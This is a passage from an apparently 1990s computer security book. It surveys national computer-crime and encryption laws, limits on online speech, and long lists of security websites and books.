disturb public order or considered obscene must \nnot be produced, reproduced, or transferred. \nReportedly, the Chinese government intends to erect a new Great Wall of China to bar \nthe western Internet. These reports suggest that China will attempt to filter out dangerous \nwestern ideology. \nChina is not alone in its application of totalitarian politics to the Internet and computers. \nLet's have a look at Russia. \nRussia and the CIS \nPresident Yeltsin issued Decree 334 on April 3, 1995. That decree granted extraordinary \npower to the Federal Agency of Government Communications and Information (FAPSI). \nThe decree prohibits: \n...within the telecommunications and information systems of government organizations and \nenterprises the use of encoding devices, including encryption methods for ensuring the \nauthenticity of information (electronic signature) and secure means for storing, treating and \ntransmitting information... \nThe only way that such devices can be used is upon review, recommendation, and \napproval of FAPSI. The decree also prohibits: \n...legal and physical persons from designing, manufacturing, selling and using information media, \nand also secure means of storing, treating and transmitting information and rendering services in \nthe area of information encoding, without a license from FAPSI. \nIn the strictest terms, then, no Russian citizen shall design or sell software without a \nlicense from this federal agency, which in fact acts as information police. American \nintelligence sources have likened FAPSI to the NSA. As the article \"Russian Views on \nInformation-Based Warfare\" by Timothy L. Thomas notes: \nFAPSI appears to fulfill many of the missions of the U.S. National Security Agency. It also fights \nagainst domestic criminals and hackers, foreign special services, and \"information weapons\" that \nare for gaining unsanctioned access to information and putting electronic management systems out \nof commission, and for enhancing the information security of one's own management systems. \n \nCross Reference: \"Russian Views on Information-Based Warfare\" can be found on the \nWeb at http://www.cdsar.af.mil/apj/thomas.html. \n \nDespite this cloak-and-dagger treatment of the exchange of information in Russia (the \nCold War is over, after all), access in Russia is growing rapidly. For example, it is \nreported in Internetica in an article by Steve Graves that even CompuServe is a large ISP \nwithin the Russian Federation: \nCompuServe, the largest American online service, has local access numbers in more than 40 \nRussian cities, ranging from Moscow and St. Petersburg to Vladivostok. Access is provided \nthrough SprintNet, which adds a surcharge to the connect-time rate. Although CompuServe itself \ndoes not charge any more for connections than it does in the U.S., the maximum connection speed \n" }, { "page_number": 589, "text": " \n \nis 2400 baud, which will greatly increase the time required for any given access, particularly if \nWindows-based software is used. \n \nCross Reference: Access Steve Graves's article at \nhttp://www.boardwatch.com/mag/96/feb/bwm19.htm. \n \nDespite Mr. Yeltsin's decrees, however, there is a strong cracker underground in Russia. \nJust ask CitiBank. The following was reported in The St. Petersburg Times: \nCourt documents that were unsealed Friday show that Russian computer hackers stole more than \n$10-million from Citibank's electronic money transfer system last year. All but $400,000 of that \nhas been recovered, says a CitiBank spokeswoman. None of the bank's depositors lost any money \nin the fraud but since it happened, Citibank has required customers to use an electronic password \ngenerator for every transfer. The hackers' 34-year-old ringleader was arrested in London three \nmonths ago, and U.S. officials have filed to have him extradited to the United States to stand trial. \nUnfortunately, there is relatively little information on Russian legislation regarding the \nInternet. However, you can bet that such legislation will quickly emerge. \nThe EEC (European Economic Community) \nIn this section, I address European attitudes and laws concerning computers and the \nInternet. Nonetheless, although the United Kingdom is indeed a member of the European \nUnion, I will treat them separately. This section, then, refers primarily to generalized EU \nlaw and proposals regarding continental Europe. \nIt is interesting to note that European crackers and hackers often have different \nmotivations for their activities. Specifically, European crackers and hackers tend to be \npolitically motivated. An interesting analysis of this phenomenon was made by Kent \nAnderson in his paper \"International Intrusions: Motives and Patterns\": \nClose examination of the motivation behind intrusions shows several important international \ndifferences: In Europe, organized groups often have a political or environmental motive, while in \nthe United States a more \"anti-establishment\" attitude is common, as well as simple vandalism. In \nrecent years, there appears to be a growth in industrial espionage in Europe while the United \nStates is seeing an increase in criminal (fraud) motives. \n \nCross Reference: Find \"International Intrusions: Motives and Patterns\" on the Web at \nhttp://www.aracnet.com/~kea/Papers/paper.shtml. \n \nFor these reasons, treatment of Internet cracking and hacking activity in Europe is quite \ndifferent from that in the United States. A recent case in Italy clearly demonstrates that \nwhile freedom of speech is a given in the United States, it is not always so in Europe. \nReportedly, a bulletin board system in Italy that provided gateway access to the Internet \nwas raided in February, 1995. The owners and operators of that service were \nsubsequently charged with some fairly serious crimes, as discussed by Stanton \nMcCandlish in his article \"Scotland and Italy Crack Down on `Anarchy Files'\": \n...the individuals raided have been formally charged with terroristic subversion crimes, which \ncarry severe penalties: 7-15 years in prison...The BITS BBS [the target] carried a file index of \nmaterials available from the Spunk [underground BBS] archive (though not the files themselves), \n" }, { "page_number": 590, "text": " \n \nas well as back issues of Computer Underground Digest (for which EFF itself is the main archive \nsite), and other political and non-political text material (no software). \n \nCross Reference: Mr. McCandlish's article can be found on the Web at \nhttp://www.eff.org/pub/Legal/Foreign_and_local/UK/Cases/BITS\n-A-t-E_Spunk/eff_raids.article. \n \nThis might sound confusing, so let me clarify: The files that prompted the raid (and \nsubsequent indictments) were the type that thousands of Web sites harbor here in the \nUnited States, files that the FBI would not think twice about. An interesting side note: In \nthe wake of the arrests, a British newspaper apparently took great license in reporting the \nstory, claiming that the \"anarchy\" files being passed on the Internet and the targeted BBS \nsystems were endangering national security by instructing mere children to overthrow the \ngovernment. The paper was later forced to retract such statements. \n \nCross Reference: To read some of those statements, see the London Times article \n\"Anarchists Use Computer Highway for Subversion\" by Adrian Levy and Ian Burrell at \nhttp://www.eff.org/pub/Legal/Foreign_and_local/UK/Cases/BITS\n-A-t-E_Spunk/uk_net_anarchists.article. \n \nIn any event, the Europeans are gearing up for some Orwellian activity of their own. In a \nrecent report to the Council of Europe, proposals were made for techniques dealing with \nthese new technologies: \nIn view of the convergence of information technology and telecommunications, law pertaining to \ntechnical surveillance for the purpose of criminal investigations, such as interception of \ntelecommunications, should be reviewed and amended, where necessary, to ensure their \napplicability. The law should permit investigating authorities to avail themselves of all necessary \ntechnical measures that enable the collection of traffic data in the investigation of crimes. \nEuropean sources are becoming increasingly aware of the problem of crackers, and there \nis a strong movement to prevent cracking activity. No member country of the Union has \nbeen completely untouched. The French, for example, recently suffered a major \nembarrassment, as detailed in the article \"French Navy Secrets Said Cracked by \nHackers,\" which appeared in Reuters: \nHackers have tapped into a navy computer system and gained access to secret French and allied \ndata, the investigative and satirical weekly Le Canard Enchaine said...Hackers gained access to \nthe system in July and captured files with acoustic signatures of hundreds of French and allied \nships. The signatures are used in submarine warfare to identify friend and foes by analyzing \nunique acoustic characteristics of individual vessels. \nThe United Kingdom \nThe United Kingdom has had its share of computer crackers and hackers (I personally \nknow one who was recently subjected to police interrogation, search and seizure). Many \nUK sources suggest that English government officials take a decidedly knee-jerk reaction \nto computer crimes. However, the UK's main body of law prohibiting cracking (based \nlargely on Section 3(1) of the Computer Misuse Act of 1990) is admittedly quite concise. \nIt covers almost any act that could be conceivably undertaken by a cracker. That section \n" }, { "page_number": 591, "text": " \n \nis written as follows (the text is converted to American English spelling conventions and \nexcerpted from an article by Yaman Akdeniz): \nA person is guilty of an offense if (a) he does any act which causes an unauthorized modification \nof the contents of any computer; and (b) at the time when he does the act he has the requisite intent \nand the requisite knowledge. \nYou will notice that intent is a requisite element here. Thus, performing an unauthorized \nmodification must be accompanied by intent. This conceivably could have different \nimplications than the court's interpretation in the Morris case. \nA case is cited under that act against an individual named Christopher Pile (also called \nthe Black Baron), who allegedly released a virus into a series of networks. Pile was \ncharged with (and ultimately convicted of) unlawfully accessing, as well as damaging, \ncomputer systems and data. The sentence was 18 months, handed down in November of \n1995. Pile is reportedly the first virus author ever convicted under the act. \nAkdeniz's document reports that English police have not had adequate training or \npractice, largely due to the limited number of reported cases. Apparently, few companies \nare willing to publicly reveal that their networks have been compromised. This seems \nreasonable enough, though one wonders why police do not initiate their own cracking \nteams to perform simulations. This would offer an opportunity to examine the footprint of \nan attack. Such experience would likely prove beneficial to them. \nFinland \nFinland has traditionally been known as very democratic in its application of computer \nlaw. At least, with respect to unauthorized snooping, cracking, and hacking, Finland has \nmade attempts to maintain a liberal or almost neutral position regarding these issues. Not \nany more. Consider this statement, excerpted from the report \"Finland Considering \nComputer Virus Bill\" by Sami Kuusela: \nFinnish lawmakers will introduce a bill in the next two weeks that would criminalize spreading \ncomputer viruses--despite the fact that many viruses are spread accidentally--This means that if \nsomeone in Finland brings a contaminated diskette to his or her workplace and doesn't check it \nwith an anti-virus program, and the virus spreads into the network, the person will have committed \na crime. It would also be considered a crime if a virus spreads from a file downloaded from the \nInternet. \n \nCross Reference: Check out \nhttp://www.wired.com/news/politics/story/2315.html to see \nKuusela's report. \n \nAt this stage, you can undoubtedly see that the trend (in all countries and jurisdictions) is \naimed primarily at the protection of data. Such laws have recently been drafted as \nproposals in Switzerland, the UK, and the United States. \nThis trend is expected to continue and denotes that computer law has come of age. Being \nnow confronted with hackers and crackers across the globe, these governments have \nformed a type of triage with respect to Internet and computer laws. At this time, nearly all \nnew laws appear to be designed to protect data. \n" }, { "page_number": 592, "text": " \n \nFree Speech \nUsers may erroneously assume that because the Communications Decency Act died a \nhorrible death in Pennsylvania, all manners of speech are free on the Internet. That is \nfalse. Here are some examples: \n• \nHate crimes and harassment are against the law--In 1995, an individual at the University of Irvine \nin California was indicted for such activity. According to the article \"Ex-student Indicted for \nAlleged Hate Crime in Cyberspace,\" prosecutors alleged that the student sent \"...a threatening \nelectronic message to about 60 University of California, Irvine, students on Sept. 20.\" The student \nwas therefore \"...indicted on 10 federal hate-crime charges for allegedly sending computer \nmessages threatening to kill Asian students.\" \n \nCross Reference: Visit \nhttp://www.nando.net/newsroom/ntn/info/111496/info15_1378.ht\nml to see the article \"Ex-student Indicted for Alleged Hate Crime in Cyberspace.\" \n \n• \nForwarding threats to the President is unlawful--In one case, a man was arrested for sending \nmessages to the President, threatening to kill him. In another, less controversial case, seventh \ngraders were arrested by the Secret Service for telling Mr. Clinton that his \"ass\" was \"theirs.\" \nIn reference to harassment and racial slurs, the law already provides a standard that may \nbe (and has been) applied to the Internet. That is the Fighting Words Doctrine, which \nseems to revolve primarily around the requirement that the words must be specifically \ndirected toward an individual or individuals. Merely stating that \"all blondes are stupid\" \nis insufficient. \nThe Fighting Words Doctrine can be understood most clearly by examining Vietnamese \nFisherman's Ass'n v. Knights of the Ku Klux Klan. The case revolved around repeated \nharassment of Vietnamese fisherman by the KKK in Galveston Bay. The situation \ninvolved the KKK members approaching (by boat) a vessel containing Vietnamese \nfisherman. According to Donald A. Downs in his article \"Racial Incitement Law and \nPolicy in the United States: Drawing the Line Between Free Speech and Protection \nAgainst Racism,\" the KKK: \n...wore full military regalia and hoods on their faces, brandished weapons and hung an effigy of a \nVietnamese fisherman and circled within eyesight of the fisherman. \nThe court in that case found the actions of the KKK to amount to fighting words. Such \nspeech, when directed against an individual or individuals who are in some way a captive \naudience to those words, is not protected under the First Amendment. Similarly, threats \nagainst the President of the United States amount to unprotected speech. And, such \nthreats, where they are extortive or unconditional and specific to the person so threatened, \namount to unprotected speech. \nThese laws and doctrines can be applied in any instance. Whether that application is \nultimately successful remains another matter. Certainly, posting such information on a \nWeb page or even in a Usenet group may or may not be narrow enough of a directive to \ncall such laws (threats to the President are the obvious, notable exceptions). The law in \nthis area is not entirely settled. \n" }, { "page_number": 593, "text": " \n \nSummary \nInternet law is a new and exciting area of expertise. Because the Internet is of such \nextreme public interest, certain battles, such as the dispute over adult-oriented material, \nare bound to take a decade or more. All Netizens should keep up with the latest \nlegislation. \nFinally, perhaps a word of caution here would be wise: If you are planning to undertake \nsome act upon the Internet and you are unsure of its legality, get a lawyer's opinion. Not \njust any lawyer, either; talk to one who really knows Internet law. Many attorneys may \nclaim to know Internet law, but the number that actually do is small. This is important \nbecause the Information Superhighway is like any other highway. You can get pulled \nover, get a ticket, or even go to jail. \nResources \nBerne Convention For The Protection Of Literary And Artistic Works. \n• \nhttp://www.law.cornell.edu/treaties/berne/overview.html \nEFF's (Extended) Guide to the Internet--Copyright Law. \n• \nhttp://soma.npa.uiuc.edu/docs/eegtti/eeg_105.html \nBig Dummy's Guide to the Internet--Copyright Law. \n• \nhttp://www.bio.uts.edu.au/www/guides/bdgtti/bdg_101.html \nRevising the Copyright Law for Electronic Publishing. \n• \nhttp://www.leepfrog.com/E-Law/Revising-HyperT.html \nThe E-Challenge for Copyright Law. \n• \nhttp://www.utsystem.edu/OGC/IntellectualProperty/challenge.htm \nCopyright Law FAQ (3/6): Common Miscellaneous Questions. \n• \nhttp://www.lib.ox.ac.uk/internet/news/faq/archive/law.copyright-\nfaq.part3.html \nCopyrights, Trademarks, and the Internet. Donald M. Cameron, Tom S. Onyshko, \nand W. David Castell. \n• \nhttp://www.smithlyons.com/it/cti/index.htm \nNew U.S. Copyright Board of Appeals Established. \n• \nhttp://www.jurisdiction.com/einh0002.htm \nCopyright Law of the United States. US Code-Title 17, Section 107. Fair Use Clause. \n" }, { "page_number": 594, "text": " \n \n• \nhttp://lfcity.com/cpy.html \nCopyright Law, Libraries, and Universities: Overview, Recent Developments, and \nFuture Issues. Kenneth D. Crews, J.D., Ph.D. Associate Professor of Business Law. \nCollege of Business. This is an excellent source. \n• \nhttp://palimpsest.stanford.edu/bytopic/intprop/crews.html \nRecent Caselaw and Legislative Developments in Copyright Law in the United \nStates. \n• \nhttp://www.ladas.com/GUIDES/COPYRIGHT/Copyright.USA.1995.html \nCopyright Law and Fair Use. \n• \nhttp://www-sul.stanford.edu/cpyright.html \nThe First Amendment vs. Federal Copyright Law. \n• \nhttp://www.krusch.com/real/copyright.html \nSoftware Copyright Law. \n• \nhttp://www.lgu.com/cr_idx.htm \nElectronic Copyright Law in France. \n• \nhttp://www.spa.org/consumer/bus/franc.htm \nU.S. Copyright Office General Information and Publications. \n• \nhttp://lcweb.loc.gov/copyright/ \nCopyright Clearance Center (CCC). \n• \nhttp://www.copyright.com/ \nCopyright Reform in Canada: Domestic Cultural Policy Objectives and the \nChallenge of Technological Convergence. \n• \nhttp://www.ucalgary.ca/~gagow/cpyrght.htm \n10 Big Myths About Copyright Explained. An attempt to answer common myths about \ncopyright on the Net and cover issues related to copyright and Usenet/Internet \npublication. \n• \nhttp://www.clari.net/brad/copymyths.html \nIntellectual Property and the National Information Infrastructure. \n• \nhttp://www.uspto.gov/web/ipnii/ \nSources for General Information \n" }, { "page_number": 595, "text": " \n \nSection 3 of the Computer Misuse Act 1990: an Antidote for Computer Viruses! \nAkdeniz, Y. Web Journal of Current Legal Issues, May 24, 1996. \n• \nhttp://www.ncl.ac.uk/~nlawwww/1996/issue3/akdeniz3.html \nThe Computer Fraud and Abuse Act of 1986. \n• \nhttp://www.law.cornell.edu/uscode/18/1030.html \nCrime on the Internet. \n• \nhttp://www.digitalcentury.com/encyclo/update/crime.html \nThe U.S. House of Representatives Internet Law Library Computers and the Law. \n• \nhttp://orbus.pls.com:8001/his/95.GBM \nEFF \"Legal Issues and Policy: Cyberspace and the Law\" Archive. \n• \nhttp://www.eff.org/pub/Privacy/Security/Hacking_cracking_phreaking\n/Legal/ \nNew Computer Crime Statutes Close Loopholes. \n• \nhttp://www.ljx.com/securitynet/articles/0325nlj.htm \nFederal Guidelines for Searching and Seizing Computers. U.S. Department of Justice \nCriminal Division Office of Professional Development and Training. The Report of the \nWorking Group on Intellectual Property Rights. \n• \nhttp://www.uspto.gov/web/offices/com/doc/ipnii/ \nNational Information Infrastructure Protection Act of 1996. \n• \nhttp://www.epic.org/security/1996_computer_law.html \nFraud and Related Activity in Connection with Access Devices. \n• \nhttp://www.law.cornell.edu/uscode/18/1029.html \nDigital Telephony Bill. \n• \nhttp://www.eff.org/pub/Privacy/Digital_Telephony_FBI/digtel94.act \nComputer Law Briefs. \n• \nhttp://sddtsun.sddt.com/~columbus/CBA/BBriefs/Wernick.html \n" }, { "page_number": 596, "text": " \n \n- A - \nHow to Get More Information \nThis appendix is designed to provide you with some of the sources consulted in this book, \nas well as sites (or documents) that can assist you in better understanding security. \nEstablishment Resources \nFollowing is a list of resources. This list includes articles, papers, or tools. The majority \nwere authored or created by individuals working in security. \nSites on the WWW \nGeneral Accounting Office: Information Security: Computer Attacks at Department of \nDefense Pose Increasing Risks. A report on failed security at U.S. Defense sites. \n• \nhttp://www.epic.org/security/GAO_OMB_security.html \nThe Evaluated Products List (EPL). This is a list of products that have been evaluated \nfor security ratings based on DoD guidelines. \n• \nhttp://www.radium.ncsc.mil/tpep/epl/index.html \nInterNIC (the Network Information Center). InterNIC provides comprehensive \ndatabases on networking information. These databases contain the larger portion of \ncollected knowledge on the design and scope of the Internet. Of main importance here is \nthe database of RFC documents. \n• \nhttp://ds0.internic.net/ds/dspg1intdoc.html \nThe Rand Corporation. This site contains security resources of various sorts as well as \nengrossing early documents on the Internet's design. \n• \nhttp://www.rand.org/publications/electronic/ \nConnected: An Internet Encyclopedia. This is an incredible online resource for RFC \ndocuments and related information, painstakingly translated into HTML. \n• \nhttp://www.freesoft.org/Connected/RFC/826/ \nThe Computer Emergency Response Team (CERT). CERT is an organization that \nassists sites in responding to network security violations, break-ins, and so forth. This is a \ngreat source of information, particularly for vulnerabilities. \n• \nhttp://www.cert.org \nDan Farmer: Security Survey of Key Internet Hosts and Various Semi-Relevant \nReflections. This is a fascinating independent study conducted by one of the authors of \n" }, { "page_number": 597, "text": " \n \nthe now famous SATAN program. The survey involved approximately 2,200 sites; the \nresults are disturbing. \n• \nhttp://www.trouble.org/survey/ \nU.S. Department of Energy's Computer Incident Advisory Capability (CIAC). CIAC \nprovides computer security services to employees and contractors of the U.S. Department \nof Energy, but the site is open to the public as well. There are many tools and documents \nat this location. \n• \nhttp://ciac.llnl.gov/ \nThe National Computer Security Association. This site contains a great deal of \nvaluable security information, including reports, papers, advisories, and analyses of \ncomputer security products and techniques. \n• \nhttp://www.ncsa.com/ \nShort Courses in Information Systems Security at George Mason University. This \nsite contains information about security courses. Moreover, you'll find links to a \ncomprehensive bibliography of security-related documents. \n• \nhttp://www.isse.gmu.edu:80/~gmuisi/ \nNCSA RECON. This is the site of the National Computer Security Association's special \ndivision. It offers a service where one can search through thousands of downloaded \nmessages passed among hackers and crackers on BBS boards and the Internet. This \ncommercial site is an incredible security resource. \n• \nhttp://www.isrecon.ncsa.com/public/faq/isrfaq.htm \nLucent Technologies. This site contains information about courses on security from the \nfolks who really know security. \n• \nhttp://www.attsa.com/ \nMassachusetts Institute of Technology Distribution Site of Pretty Good Privacy \n(PGP) for U.S. Residents. PGP provides some of the most powerful, military-grade \nencryption currently available. \n• \nhttp://web.mit.edu/network/pgp.html \nThe Anonymous Remailer FAQ. This document covers all aspects of anonymous \nremailing techniques and tools. \n• \nhttp://www.well.com/user/abacard/remail.html \nThe Anonymous Remailer List. This is a comprehensive but often-changing list of \nanonymous remailers. \n• \nhttp://www.cs.berkeley.edu/~raph/remailer-list.html \n" }, { "page_number": 598, "text": " \n \nMicrosoft ActiveX Security. This page addresses the security features of ActiveX. \n• \nhttp://www.microsoft.com/security \nPurdue University COAST Archive. This is one of the more comprehensive security \nsites, containing many tools and documents of deep interest to the security community. \n• \nhttp://www.cs.purdue.edu//coast/archive/ \nRaptor Systems. The makers of one of the better firewall products on the Net have \nestablished a fine security library. \n• \nhttp://www.raptor.com/lib/index.html \nThe Risks Forum. This is a moderated digest of security and other risks in computing. \nThis great resource is also searchable. With it, you can tap the better security minds on \nthe Net. \n• \nhttp://catless.ncl.ac.uk/Risks \nForum of Incident Response and Security Teams (FIRST). FIRST is a \nconglomeration of many organizations undertaking security measures on the Net. This \npowerful organization is a good starting place for sources. \n• \nhttp://www.first.org/ \nThe CIAC Virus Database. This is the ultimate virus database on the Internet. It's an \nexcellent resource for learning about viruses that can affect your platform. \n• \nhttp://ciac.llnl.gov/ciac/CIACVirusDatabase.html \nInformation Warfare and Information Security on the Web. This is a comprehensive \nlist of links and other resources concerning information warfare over the Internet. \n• \nhttp://www.fas.org/irp/wwwinfo.html \nCriminal Justice Studies of the Law Faculty of University of Leeds, The United \nKingdom. This site boasts interesting information on cryptography and civil liberties. \n• \nhttp://www.leeds.ac.uk/law/pgs/yaman/cryptog.htm \nFederal Information Processing Standards Publication Documents (Government \nGuidelines). The National Institute of Standards and Technology reports on DES \nencryption and related technologies. \n• \nhttp://csrc.nist.gov/fips/fips46-2.txt \nWordlists Available at NCSA and Elsewhere. This site is for use in testing the strength \nof, or cracking, UNIX passwords. \n• \nhttp://sdg.ncsa.uiuc.edu/~mag/Misc/Wordlists.html \n" }, { "page_number": 599, "text": " \n \nDepartment of Defense Password Management Guideline. This is a treatment of \npassword security in classified environments. \n• \nhttp://www.alw.nih.gov/Security/FIRST/papers/password/dodpwman.txt \nDr. Solomon's. This site is filled with virus information. Anyone concerned with viruses \n(or anyone who just wants to know more about virus technology) should visit Dr. \nSolomon's site. \n• \nhttp://www.drsolomon.com/vircen/allabout.html \nThe Seven Locks Server. This is an eclectic collection of security resources, including a \nnumber of papers that cannot be found elsewhere! \n• \nhttp://www.sevenlocks.com/ \nS/Key Informational Page. This site provides information on S/Key and the use of one-\ntime passwords in authentication. \n• \nhttp://medg.lcs.mit.edu/people/wwinston/skey-overview.html \nA Page Devoted to ATP, the \"Anti-Tampering Program.\" In some ways, ATP is \nsimilar to Tripwire or Hobgoblin. \n• \nhttp://www.cryptonet.it/docs/atp.html \nBugtraq Archives. This is an archive of the popular mailing list, Bugtraq, one of the \nmost reliable sources for up-to-date reports on new-found vulnerabilities in UNIX (and at \ntimes, other operating systems). \n• \nhttp://geek-girl.com/bugtraq/ \nWang Federal. This company produces high-quality security operating systems and \nother security solutions. It is the leader in TEMPEST technology. \n• \nhttp://www.wangfed.com \nThe Center for Secure Information Systems. This site, affiliated with the Center at \nGeorge Mason University, has some truly incredible papers. There is much cutting-edge \nresearch going on here. The following URL sends you directly to the publications page, \nbut you really should explore the entire site. \n• \nhttp://www.isse.gmu.edu/~csis/publication.html \nSRI International. This site boasts some very highbrow technical information. The \ntechnical reports here are of extreme value. However, you must have at least a fleeting \nbackground in security to even grasp some of the concepts. \n• \nhttp://www.sri.com/ \nThe Security Reference Index. This site, maintained by the folks at telstra.com, is a \ncomprehensive pointer page to many security resources. \n" }, { "page_number": 600, "text": " \n \n• \nhttp://www.telstra.com.au/info/security.html \nWietse Venema's Tools Page. This page, maintained by Wietse Venema (co-author of \nSATAN, author of TCP_Wrapper and many other security tools), is filled with papers, \ntools, and general information. It is a must-visit for any UNIX system administrator. \n• \nftp://ftp.win.tue.nl/pub/security/index.html \nBooks, Reports, and Publications \nUnited States. Congress. House. Committee on Science, Space, and Technology. \nSubcommittee on Science. \nInternet security: Hearing Before the Subcommittee on Science of the Committee on \nScience, Space, and Technology. U.S. House of Representatives, One Hundred Third \nCongress, second session, March 22, 1994. Washington. U.S. G.P.O. For sale by the U.S. \nG.P.O., Supt. of Docs., Congressional Sales Office, 1994. \nAn Interactive Guide to the Internet. Que Education and Training. J. Michael Blocher, \nVito Amato, and Jon Storslee. ISBN: 1-5757-6354-0. 1996. \nApache Server Survival Guide. Sams.net. Manuel Alberto Ricart. ISBN: 1-57521-175-\n0. 1996. \nBots and Other Internet Beasties. Sams.net. Joseph Williams. ISBN: 1-57521-016-9. \n1996. \nDesigning and Implementing Microsoft Internet Information Server. Sams.net. \nWeiying Chen, Sanjaya Hettihewa, Arthur Knowles, and Paolo Pappalardo. ISBN: 1-\n57521-168-8. 1996. \nE-Mail Security: How To Keep Your Electronic Messages Private. John Wiley & \nSons. Bruce Schneier. ISBN: 0-471-05318-X. 1995. \nFirewalls and Internet Security: Repelling the Wily Hacker. Addison-Wesley \nPublishing Company. William R. Cheswick and Steven M. Bellovin. ISBN: 0-201-\n63357-4. 1994. \nHalting the Hacker: A Practical Guide to Computer Security. Prentice Hall. Donald \nL. Pipkin. ISBN: 0-13-243718. 1997. \nInternet 1997 Unleashed, Second Edition. Sams.net. Jill Ellsworth, Billy Barron, et al. \nISBN: 1-57521-185-8. 1996. \nInternet Commerce. New Riders. Andrew Dahl and Leslie Lesnick. ISBN: 1-56205-\n496-1. 1995. \nInternet Firewalls and Network Security, Second Edition. New Riders. Chris Hare \nand Karanjit S. Siyan, Ph.D. ISBN: 1-56205-632-8. 1996. \nInternet QuickKIT. Hayden. Brad Miser. ISBN: 1-56830-240-1. \n" }, { "page_number": 601, "text": " \n \nInternet Research Companion. Que Education and Training. Geoffrey McKim. ISBN: \n1-5757-6050-9. 1996. \nInternet Security for Business. John Wiley & Sons. Terry Bernstein, Anish B. Bhimani, \nEugene Schultz, and Carol A. Siegel. ISBN 0-471-13752-9. 1996. \nInternet Security Professional Reference. New Riders. Chris Hare, et al. ISBN: 1-\n56205-557-7. 1996. \nInternet Security Resource Library (Box Set). New Riders. ISBN: 1-56205-506-2. \n1996. \nLinux System Administrator's Survival Guide. Sams Publishing. Timothy Parker, \nPh.D. ISBN: 0-672-30850-9. 1996. \nManaging Windows NT Server 4. New Riders. Howard F. Hilliker. ISBN: 1-56205-\n576-3. 1996. \nMicrosoft Internet Information Server 2 Unleashed. Sams.net. Arthur Knowles. \nISBN: 1-57521-109-2. 1996. \nNetWare Security. New Riders. William Steen. ISBN: 1-56205-545-3. 1996. \nPC Week Intranet and Internet Firewalls Strategies. Ziff-Davis Press. Ed Amoroso \nand Ronald Sharp. ISBN: 1-56276-422-5. 1996. \nPractical UNIX & Internet Security, Second Edition. O'Reilly & Associates. Simson \nGarfinkel and Gene Spafford. ISBN: 1-56592-148-8. 1996. \nProtection and Security on the Information Superhighway. John Wiley & Sons. \nFrederick B. Cohen. ISBN: 0-471-11389-1. 1995. \nThe Internet Unleashed 1996. Sams.net. Sams Development Group. ISBN: 1-57521-\n041-X. 1995. \nThe Underground Guide to UNIX: Slightly Askew Advice from a UNIX Guru. \nAddison-Wesley Publishing Company. John Montgomery. ISBN: 0-201-40653-5. 1995. \nUNIX Installation Security and Integrity. Prentice Hall. David Ferbrache and Gavin \nShearer. ISBN: 0-13-015389-3. 1993. \nUNIX Security: A Practical Tutorial (UNIX/C). McGraw-Hill. N. Derek Arnold. \nISBN: 0-07-002560-6. 1993. Contains source code for a possible UNIX virus! \nUNIX Security for the Organization. Sams Publishing. R. Bringle Bryant. ISBN: 0-\n672-30571-2. 1994. \nUNIX System Security. Addison-Wesley Publishing Company. David A. Curry. ISBN: \n0-201-56327-4. 1992. \n" }, { "page_number": 602, "text": " \n \nUNIX System Security Essentials. Addison-Wesley Publishing Company. Christoph \nBraun and Siemens Nixdorf. ISBN: 0-201-42775-3. 1995. \nUNIX System Security: How to Protect Your Data and Prevent Intruders. Addison-\nWesley Publishing Company. Rick Farrow. ISBN: 0-201-57030-0. 1991. \nUNIX Unleashed. Sams Publishing. Sams Development Team (Susan Peppard, Pete \nHolsberg, James Armstrong Jr., Salim Douba, S. Lee Henry, Ron Rose, Richard Rummel, \nScott Parker, Ann Marshall, Ron Dippold, Chris Negus, John Valley, Jeff Smith, Dave \nTaylor, Sydney Weinstein, and David Till). ISBN: 0-672-30402-3. 1994. \nWindows NT Server 4 Security, Troubleshooting, and Optimization. New Riders. \nISBN: 1-56205-601-8. 1996. \nNovell \nA Guide to NetWare for UNIX. Prentice Hall. Cathy Gunn. ISBN: 0-13-300716-2. \n1995. \nNetWare to Internet Gateways. Prentice Hall. James E. Gaskin. ISBN: 0-13-521774-1. \n1996. \nNetWare Unleashed, Second Edition. Sams Publishing. Rick Sant'Angelo. 1995. \nNetWare Web Development. Sams Publishing. Peter Kuo. ISBN: 1-57521-188-6. 1996. \nNovell's Guide to Integrating NetWare and TCP/IP. Novell Press/IDG Books. Drew \nHeywood. ISBN: 1-56884-818-8. 1996. \nNovell's Guide to NetWare LAN Analysis. Sybex. Dan E. Hakes and Laura Chappell. \nISBN: 0-7821-1143-2. 1994. \nThe Complete Guide to NetWare 4.1. Sybex. James E. Gaskin. ISBN: 0-7821-1500A. \n1995. \nThe NetWare to Internet Connection. Sybex. Morgan Stern. ISBN: 0-7821-1706-6. \n1996. \nWindows NT \nInside The Windows NT File System. Microsoft Press. Helen Custer. ISBN: 1-55615-\n660-X. 1994. \nInside Windows NT Server 4. New Riders. Drew Heywood. ISBN: 1-56205-649-2. \n1996. \nManaging Windows NT Server 4. New Riders. Howard Hilliker. ISBN: 1-56205-576-3. \n1996. \nMicrosoft Windows NT Workstation 4.0 Resource Kit. Microsoft Press. ISBN: 1-\n57231-343-9. 1996. \n" }, { "page_number": 603, "text": " \n \nNT Server: Management and Control. Prentice Hall. Kenneth L. Spencer. ISBN: 0-13-\n107046-0. 1995. \nWindows NT 4 Electronic Resource Kit. Sams.net. ISBN: 0-67231-032-5. \nWindows NT Administration: Single Systems to Heterogeneous Networks. Prentice \nHall. Marshall Brain and Shay Woodard. ISBN: 0-13-176694-5. 1994. \nPeter Norton's Complete Guide to Windows NT 4.0 Workstation. Sams Publishing. \nPeter Norton and John Paul Mueller. ISBN: 0-672-30-901-7. 1996. \nGeneral \nA Guide to Understanding Discretionary Access Control in Trusted Systems. \nTechnical Report NCSC-TG-003, National Computer Security Center, 1987. \nA Model of Atomicity for Multilevel Transactions. 1993 IEEE Computer Society \nSymposium on Research in Security and Privacy; Oakland, California. Barbara T. \nBlaustein, Sushil Jajodia, Catherine D. McCollum, and LouAnna Notargiacomo \n(MITRE). USA: IEEE Computer Society Press. ISBN: 0-8186-3370-0. 1993. \nAuthentication and Discretionary Access Control. Karger, Paul A. Computers & \nSecurity, Number 5, pp. 314-324, 1986. \nBeyond the Pale of MAC and DAC--Defining New Forms of Access Control. \nCatherine J. McCollum, Judith R. Messing, and LouAnna Notargiacomo. SympSecPr, pp. \n190-200, IEEECSP, May 1990. \nComputer Crime: A Crimefighter's Handbook. O'Reilly & Associates. David Icove, \nKarl Seger, and William VonStorch. ISBN: 1-56592-086-4. 1995. \nComputer Security Basics. O'Reilly & Associates. Deborah Russell and G.T. Gangemi \nSr. ISBN: 0-937175-71-4. 1991. \nComputer Security: Hackers Penetrate DoD Computer Systems. Testimony before \nthe Subcommittee on Government Information and Regulation, Committee on \nGovernment Affairs. United States Senate, Washington DC, November 1991. \nCyberpunk: Outlaws and Hackers on the Computer Frontier. 